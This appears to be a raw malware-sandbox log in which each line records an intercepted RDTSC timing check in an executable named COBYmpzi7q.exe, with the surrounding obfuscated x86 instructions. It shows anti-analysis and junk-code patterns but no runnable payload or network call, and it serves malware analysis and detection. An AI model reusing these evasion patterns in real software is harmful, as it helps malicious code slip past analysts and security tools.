Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDFC0 second address: CCDFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F5D5D24D0D0h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDFE2 second address: CCDFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDFEC second address: CCE013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCE013 second address: CCE01D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5D5CF5ECE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCE01D second address: CCE03F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5D5D24D0CDh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCE2A6 second address: CCE31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D5CF5ECE6h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F5D5CF5ECE8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1D81h], edx 0x0000002c call 00007F5D5CF5ECEAh 0x00000031 je 00007F5D5CF5ECE9h 0x00000037 mov dx, si 0x0000003a pop edx 0x0000003b push dword ptr [ebp+122D1CB9h] 0x00000041 xor dx, 9C38h 0x00000046 push BC146268h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ecx 0x0000004e jmp 00007F5D5CF5ECF8h 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCF805 second address: CCF809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCF809 second address: CCF81D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F5D5CF5ECE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCF81D second address: CCF821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C0431 second address: 50C0435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C0435 second address: 50C0439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C0439 second address: 50C043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C043F second address: 50C048A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 pushfd 0x00000013 jmp 00007F5D5D24D0D9h 0x00000018 sbb al, 00000056h 0x0000001b jmp 00007F5D5D24D0D1h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C048A second address: 50C049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C049A second address: 50C049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50C04B9 second address: 50C04BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0661 second address: 50E0667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0667 second address: 50E066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E066B second address: 50E06A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F5D5D24D0CBh 0x00000012 sub cx, F92Eh 0x00000017 jmp 00007F5D5D24D0D9h 0x0000001c popfd 0x0000001d movzx ecx, bx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E06A6 second address: 50E06C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E06C3 second address: 50E06C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E06C7 second address: 50E06FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5D5CF5ECEDh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov edi, 3897C49Eh 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5D5CF5ECF1h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E06FA second address: 50E0700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0700 second address: 50E0704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0704 second address: 50E0708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0708 second address: 50E0719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0719 second address: 50E071D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E071D second address: 50E0723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0723 second address: 50E0762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F5D5D24D0D6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5D5D24D0CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0762 second address: 50E0768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0768 second address: 50E076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E076C second address: 50E079B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5D5CF5ECF4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E079B second address: 50E07DC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5D5D24D0D2h 0x00000008 add al, 00000018h 0x0000000b jmp 00007F5D5D24D0CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5D5D24D0D5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0940 second address: 50E0972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 1B52h 0x00000007 mov edi, 33209A9Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f leave 0x00000010 pushad 0x00000011 call 00007F5D5CF5ECEBh 0x00000016 movzx esi, di 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5D5CF5ECF0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0972 second address: 50D0192 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007F5D5D24D22Ah 0x0000001a mov dword ptr [esp], 0000000Dh 0x00000021 call 00007F5D61919399h 0x00000026 mov edi, edi 0x00000028 pushad 0x00000029 movzx esi, di 0x0000002c pushfd 0x0000002d jmp 00007F5D5D24D0D1h 0x00000032 jmp 00007F5D5D24D0CBh 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a pushad 0x0000003b call 00007F5D5D24D0D4h 0x00000040 mov bl, cl 0x00000042 pop edx 0x00000043 mov ax, 7B83h 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F5D5D24D0D4h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0192 second address: 50D020E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e push edx 0x0000000f movzx esi, bx 0x00000012 pop ebx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F5D5CF5ECF4h 0x0000001b sub esp, 2Ch 0x0000001e jmp 00007F5D5CF5ECF0h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 mov ecx, 0E5C7CDDh 0x0000002a mov ah, 09h 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007F5D5CF5ECF4h 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F5D5CF5ECF7h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D020E second address: 50D0234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, B7h 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D027A second address: 50D027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D027E second address: 50D0299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0299 second address: 50D0330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F5D5CF5ECF7h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 mov bl, B7h 0x00000015 mov al, 25h 0x00000017 popad 0x00000018 inc ebx 0x00000019 jmp 00007F5D5CF5ECF9h 0x0000001e test al, al 0x00000020 jmp 00007F5D5CF5ECEEh 0x00000025 je 00007F5D5CF5EF02h 0x0000002b jmp 00007F5D5CF5ECF0h 0x00000030 lea ecx, dword ptr [ebp-14h] 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007F5D5CF5ECEDh 0x0000003b mov ecx, 042FCC47h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0330 second address: 50D0360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5D5D24D0D8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0360 second address: 50D0364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0364 second address: 50D036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D03B0 second address: 50D03C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D03C8 second address: 50D03E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5D5D24D0D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D03E6 second address: 50D03FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D03FE second address: 50D0429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5D5D24D0D5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D044D second address: 50D0471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5D5CF5ECEAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0471 second address: 50D0477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0477 second address: 50D047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D047E second address: 50D04D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007F5DCD56B0CDh 0x0000000d jmp 00007F5D5D24D0D4h 0x00000012 js 00007F5D5D24D144h 0x00000018 jmp 00007F5D5D24D0D0h 0x0000001d cmp dword ptr [ebp-14h], edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F5D5D24D0D7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D04D1 second address: 50D0550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov bh, B2h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F5DCD27CCA6h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5D5CF5ECF8h 0x00000017 xor al, 00000048h 0x0000001a jmp 00007F5D5CF5ECEBh 0x0000001f popfd 0x00000020 jmp 00007F5D5CF5ECF8h 0x00000025 popad 0x00000026 mov ebx, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a jmp 00007F5D5CF5ECEEh 0x0000002f mov edi, esi 0x00000031 popad 0x00000032 lea eax, dword ptr [ebp-2Ch] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F5D5CF5ECF3h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0550 second address: 50D0556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0556 second address: 50D055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D055A second address: 50D05C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov dx, cx 0x0000000d mov bx, cx 0x00000010 popad 0x00000011 mov dword ptr [esp], esi 0x00000014 jmp 00007F5D5D24D0D0h 0x00000019 nop 0x0000001a jmp 00007F5D5D24D0D0h 0x0000001f push eax 0x00000020 jmp 00007F5D5D24D0CBh 0x00000025 nop 0x00000026 jmp 00007F5D5D24D0D6h 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F5D5D24D0CAh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D05C1 second address: 50D05C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D05C5 second address: 50D05CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D05CB second address: 50D05DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D05DC second address: 50D0602 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5D5D24D0CCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0602 second address: 50D0614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0614 second address: 50D0618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D064A second address: 50D067F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5CF5ECF6h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5D5CF5ECF3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D067F second address: 50D0685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0685 second address: 50D0080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5DCD27CCAEh 0x0000000e xor eax, eax 0x00000010 jmp 00007F5D5CF3841Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov esi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp esi, 00000000h 0x00000027 je 00007F5D5CF5EE25h 0x0000002d call 00007F5D6162AD2Ch 0x00000032 mov edi, edi 0x00000034 jmp 00007F5D5CF5ECF7h 0x00000039 xchg eax, ebp 0x0000003a jmp 00007F5D5CF5ECF6h 0x0000003f push eax 0x00000040 jmp 00007F5D5CF5ECEBh 0x00000045 xchg eax, ebp 0x00000046 jmp 00007F5D5CF5ECF6h 0x0000004b mov ebp, esp 0x0000004d jmp 00007F5D5CF5ECF0h 0x00000052 xchg eax, ecx 0x00000053 pushad 0x00000054 popad 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F5D5CF5ECF5h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0080 second address: 50D00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5D5D24D0D7h 0x00000008 pop eax 0x00000009 mov ebx, 311932ECh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushfd 0x00000015 jmp 00007F5D5D24D0CCh 0x0000001a adc si, 2108h 0x0000001f jmp 00007F5D5D24D0CBh 0x00000024 popfd 0x00000025 pop ecx 0x00000026 mov si, bx 0x00000029 popad 0x0000002a mov dword ptr [ebp-04h], 55534552h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F5D5D24D0CEh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D098A second address: 50D09BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F5D5CF5ECECh 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5D5CF5ECF7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D09BE second address: 50D09FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F5D5D24D0CCh 0x00000011 mov cx, 68A1h 0x00000015 pop esi 0x00000016 mov cl, bl 0x00000018 popad 0x00000019 cmp dword ptr [7544459Ch], 05h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D09FF second address: 50D0A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A03 second address: 50D0A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A09 second address: 50D0A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 pushfd 0x00000007 jmp 00007F5D5CF5ECF4h 0x0000000c sbb cx, 6E98h 0x00000011 jmp 00007F5D5CF5ECEBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007F5DCD26CCADh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A44 second address: 50D0A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A4A second address: 50D0A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
